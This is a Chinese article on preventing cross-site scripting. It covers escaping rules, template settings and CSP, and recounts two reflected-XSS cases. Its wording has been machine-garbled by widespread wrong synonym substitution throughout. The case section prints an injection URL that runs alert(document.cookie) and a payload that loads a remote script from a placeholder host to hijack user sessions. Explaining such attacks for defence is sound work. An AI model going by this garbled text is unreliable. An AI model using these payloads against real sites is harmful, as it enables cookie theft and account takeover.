前端安全系列:如何防止XSS攻击?
2. 全部要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。 不正确。 差异的上下文,如 HTML 属性、HTML 笔墨内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所必要的转义法则纷歧致。 营业 RD 必要选取吻合的转义库,并针对差异的上下文挪用差异的转义法则。 整体的 XSS 防御长短常伟大和繁琐的,我们不只必要在所有必要转义的位置,对数据举办对应的转义。并且要防备多余和错误的转义,停止正常的用户输入呈现乱码。 固然很难通过技妙本领完全停止 XSS,但我们可以总结以下原则镌汰裂痕的发生:
开启模板引擎自带的 HTML 转义成果。譬喻: 在 ejs 中,只管行使 <%= data %> 而不是 <%- data %>; 在 doT.js 中,只管行使 {{! data } 而不是 {{= data }; 在 FreeMarker 中,确保引擎版本高于 2.3.24,而且选择正确的 freemarker.core.OutputFormat。
只管不要行使 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联变乱的写法。在 JavaScript 中通过 .addEventlistener() 变乱绑定会更安详。
前端回收拼接 HTML 的要领较量伤害,假如框架应承,行使 createElement、setAttribute 之类的要领实现。可能回收较量成熟的渲染框架,如 Vue/React 等。
在插入位置为 DOM 属性、链接等位置时,要打起精力,严加防御。
通过 CSP、输入长度设置、接口安详法子等要领,增进进攻的难度,低落进攻的效果。
可行使 XSS 进攻字符串和自动扫描器材探求隐藏的 XSS 裂痕。 XSS 进攻案例 QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 裂痕 进攻者发明 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。 于是进攻者构建出一个 URL,并引导用户去点击: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B 用户点击这个 URL 时,处事端取出 URL 参数,拼接到 HTML 相应中:
赏识器吸取到相应后就会执行 alert(document.cookie),进攻者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安详。 新浪微博绅士堂反射型 XSS 裂痕 进攻者发明 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未颠末滤直接输出到 HTML 中。 于是进攻者构建出一个 URL,然后诱导用户去点击: http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script> 用户点击这个 URL 时,处事端取出哀求 URL,拼接到 HTML 相应中:
赏识器吸取到相应后就会加载执行恶意剧本 //xxxx.cn/image/t.js,在恶意剧本中操浸染户的登录状态举办存眷、发微博、发私信等操纵,发出的微博和私信可再带上进攻 URL,诱导更多人点击,不绝放大进攻范畴。这种窃用受害者身份宣布恶意内容,层层放大进攻范畴的方法,被称为“XSS 蠕虫”。 扩展阅读:Automatic Context-Aware Escaping 上文我们说到:
凡是,转义库是不能判定插入点上下文的(Not Context-Aware),实验转义法则的责任就落到了营业 RD 身上,必要每个营业 RD 都充实领略 XSS 的各类环境,而且必要担保每一个插入点行使了正确的转义法则。 这种机制事变量大,端赖人工担保,很轻易造成 XSS 裂痕,安详职员也很难发明隐患。 2009年,Google 提出了一个观念叫做:Automatic Context-Aware Escaping。 (编辑:湖南网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |